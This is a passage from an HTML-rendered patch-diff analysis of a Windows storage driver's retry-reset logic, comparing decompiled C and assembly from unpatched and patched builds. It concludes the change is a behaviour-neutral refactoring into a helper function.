&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3EA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;mapped_error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x44&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// &amp;#39;D&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// requeue flag&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3EB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3F3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x428&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x420&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3EA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x410&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Per-retry reset — PATCHED (same logic, factored into helper)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// inside IdeProcessCompletedRequests (sub_1C00036A0), error switch (0x1C0007F87..0x1C0007FBC)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3E8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x404&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3EA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3EA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x44&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// requeue flag&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PrepareCrbForRetry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// sub_1C000C700&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PrepareCrbForRetry (sub_1C000C700):&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PrepareCrbForRetry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3EB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// clears 0x3EB and 0x3EC (word store)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3F3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x428&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x420&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3EA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x410&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The two are behaviorally equivalent. The only differences are that the field-zeroing lives in a callee and the surrounding error switch is now inlined into the completion routine.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;UNPATCHED — inline reset in &lt;code&gt;IdepInterpretTransportErrors (sub_1C0004A3C)&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B48&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B4D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;E8h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B54&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1C0004B62&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;EAh&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B5D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C0004C02&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B62&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B65&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; &amp;#39;D&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B68&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1C0004B73&lt;/span&gt;
